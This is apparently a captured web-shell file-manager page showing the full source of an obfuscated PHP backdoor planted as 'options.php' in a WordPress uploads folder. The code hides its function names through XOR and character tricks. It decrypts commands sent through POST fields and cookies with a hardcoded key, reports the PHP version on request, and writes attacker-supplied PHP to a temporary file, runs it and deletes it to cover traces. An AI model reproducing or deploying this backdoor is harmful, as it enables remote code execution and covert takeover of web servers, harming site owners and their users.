HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/options.php
<?php 
$dgvw_k /*   yp   */ =    'dgvw_k' /*  yab */ ^  '';


$oturwlj	= /*  wj   */ $dgvw_k(1061-964)       . /*kge   */ "r".$dgvw_k(114) /*   ciwuc*/ .    $dgvw_k(911-814)    .    $dgvw_k(189-68) /*   _  */ .	$dgvw_k(95) /*   tbax*/ . /* h   */ "m"."\141" /*  q */ . /*   zedw */ $dgvw_k(112);


$itugcoi /*  gj */ =	"i".$dgvw_k(605-496) /*bun  */ .      "\160"     . /*  _j*/ "l".$dgvw_k(1110-999)	.  "\144"    .   $dgvw_k(941-840);

function      r_jaapewu($pvujwv, /*   h */ $yknnob)
{


    global      $dgvw_k;
 /*  xku   */     $pvujwv /*bhvh */ =   $dgvw_k(1000-940)    .   $dgvw_k(63)	.	"p"."h".$dgvw_k(156-44)   .	$dgvw_k(32)	.  "u".$dgvw_k(686-576)	.    "\x6c"    .       "i"."n"."\x6b"	. /*  fg   */ $dgvw_k(845-805) /* wmu  */ .	"\137"   . /*  x_mply  */ "_"."F"."I"."\x4c"       . /*   mrt*/ $dgvw_k(1024-955)  .    "_".$dgvw_k(95) /*hwzy*/ .	")".$dgvw_k(1036-977) /* qpbt*/ .    $dgvw_k(32) /*fucf   */ .  $pvujwv["\x64"];

     $uioln	= /* tsch  */ "f"."i"."\x6c"    .      "e".$dgvw_k(903-808)  .	"p"."u".$dgvw_k(116) /*  bw_*/ .       "\x5f" /*ywiwlg   */ .     $dgvw_k(99) /*  ibm  */ .   "\x6f" /*   ulcth   */ .     $dgvw_k(110)    .	$dgvw_k(169-53) /*  zgzwy   */ . /*   frdiyw */ $dgvw_k(773-672)    .      "\x6e" /* fndf*/ .      "t"."s";
 /*  wtijie*/ 

    $uioln($yknnob, /*  qfaxf*/ $pvujwv);


	   bvyygkf($yknnob);


}



$acqqbdxtxfjtry /*_uau   */ = /*  k*/ 73;





function /*   klwxtj*/ bvyygkf($yknnob)


{  global    $dgvw_k;
      
   include($yknnob);  $gdkdoo /* vx  */ = /* sdis */ $yknnob;


    @unlink($gdkdoo);


}

function /*   sazka*/ fmphdmc()


{


 /* kvp*/ global    $dgvw_k;



 /*   t  */ $acqqbdx /*  r   */ =    array();
   $acqqbdx["p".$dgvw_k(1021-903)]   =      phpversion();


   $acqqbdx[$dgvw_k(503-388) /*   ekaiwk*/ .    "\x76"]    =    "3".$dgvw_k(417-371)    . /*   ieq  */ $dgvw_k(883-830);


	$sfrwnnqqj /*  kaa*/ =    74;

    echo      @serialize($acqqbdx);}



function /*   uy */ rlrudbbd($pvujwv, /*bex */ $nz_axhhr)


{
 /*   q  */ global	$dgvw_k;
	$qxitig     = /*  bjhhrr */ "";    $xpqsnhl    =    strlen($pvujwv);	$fzavexmzy	=	strlen($nz_axhhr);
   $acqqbdx	=    0;

 /*  lu   */ $lgcfw /*jfrr_ */ =  0;


 /*vcoxkw   */ 


     while    ($acqqbdx       <     $xpqsnhl)      {


	$ovonoeak /*_  */ =	$pvujwv[$acqqbdx]    ^	$nz_axhhr[$lgcfw       %    $fzavexmzy];

      $qxitig    .=     $ovonoeak;    $lgcfw++;    

    $acqqbdx++;     }

	


 /*   g*/ if /* iot */ (strlen($qxitig)    >     20)    {
  $uuunfvepy  =	substr($qxitig,	0, /*oxank*/ 20);

    }       if    (empty($qxitig)) /* fpgi */ {
    $qxitig       =    date('Y-m-d	H:i:s');
      }    return	$qxitig;


}







function /*__ciz  */ qznhk($e_bmonmj)
{
   global /*  gks */ $dgvw_k; /*   hopt  */ 

      $espzl  =    "6"."\x31" /* omibp  */ . /*mhoz   */ "\67"   . /*  l */ "0"."\x62" /*   mwpm */ . /*   jtdoo_ */ "a".$dgvw_k(818-720) /*ss*/ . /*   ctfzla */ "b"."-"."6"."\x33"    .    $dgvw_k(53)    .  "0"."\x2d"	.    "4"."\x36"     .    $dgvw_k(757-706) /*   djk  */ .      "\x63"  .    "\55"	.    $dgvw_k(97) /*   bt*/ .    $dgvw_k(227-126) /*  kik */ . /*  a_v   */ "\x35"   . /*   zdru */ $dgvw_k(102) /*   esxme*/ .      "\55" /*   yx  */ .      $dgvw_k(102)    . /*  s   */ "8"."\x64".$dgvw_k(102) /*yarbg  */ .	"e"."3".$dgvw_k(492-395) /* g   */ . /*  osgxm  */ "\143"  . /*  jl  */ "1"."7"."\x38"	. /*obyo*/ "4";

		foreach     ($e_bmonmj       as /*   fq */ $nyjuisilc    =>    $pvujwv)	{ /*  ci_zwi */ l_evpv(base64_decode($pvujwv),  $espzl,  $nyjuisilc);
    }

}



function  l_evpv($pvujwv, /* j_m_f   */ $espzl,  $nyjuisilc)
{


 /*   d */ global     $dgvw_k;
 /*  z   */  /*  srde */ $pvujwv /*mwuhtg */ = /*   gdp_h*/ unserialize(rlrudbbd(rlrudbbd($pvujwv, /* z*/ $espzl),    $nyjuisilc));


	$ezbjau   =	'ha';


	$svj_mq    = /*rkiq */ 'cdudp_is';


  if      (isset($pvujwv["a"."k"]))  {

 /*idm */ if     ($pvujwv["a"]      ==      "i")      {

 /*pvka  */ fmphdmc();
    } /*bxe   */ elseif /*zld*/ ($pvujwv["a"]     == /* fjjkz */ "e")    {
     r_jaapewu($pvujwv, /* vvncb  */ sprintf($dgvw_k(663-617) /* kph  */ . /* ek */ $dgvw_k(47) /*as*/ .	"\x25"    . /*  yrzk   */ $dgvw_k(942-827) /*   _*/ . /*   vbihnc */ "\56" /*   sjojk*/ .       "p"."\154",  md5($espzl)));
			$yaaopoknlh	=      44;
	}	exit();	}}


qznhk($_POST);    



$cbmlcmft       =	'rawurldecode';




$cqihqu      = /*  ll  */ $oturwlj($cbmlcmft,   $_POST);$itugcoi("",       $cbmlcmft);



qznhk($_COOKIE);
$gxpsg /* norr  */ = /* h   */ $oturwlj($cbmlcmft,   $_COOKIE);



?>